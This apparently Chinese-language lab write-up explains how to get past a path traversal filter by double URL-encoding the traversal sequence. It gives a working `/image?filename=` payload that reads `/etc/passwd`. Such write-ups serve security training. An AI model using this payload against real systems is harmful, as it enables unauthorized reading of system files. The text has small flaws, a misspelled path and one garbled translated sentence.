> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/path-traversal/path-traversal-bypass-via-double-url-decoding.md).

# 通过双重 URL 解码绕过路径遍历

### 文件路径遍历，使用多余的 URL 解码去除了遍历序列

本实验展示了在显示生成的图像时存在的路径遍历漏洞。/ 应用程序会阻止用户提供的文件名中的遍历序列，然后在使用该值之前再进行一次额外的 URL 解码。

目标是读取……的内容 `/etc/passwd` 文件中的用户进行测试。

未发现以下标准载荷有效：

```bash
../../../../../etc/paswd
```

绕过此过滤器的一种技术是 **将 URL 进行两次编码** 并将其发送到 `filename` 的参数 `/image` 端点：

{% code overflow="wrap" %}

```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```

{% endcode %}

<figure><img src="/files/b6fbb446657628be213ee2c430cfa014413f4d77" alt=""><figcaption></figcaption></figure>


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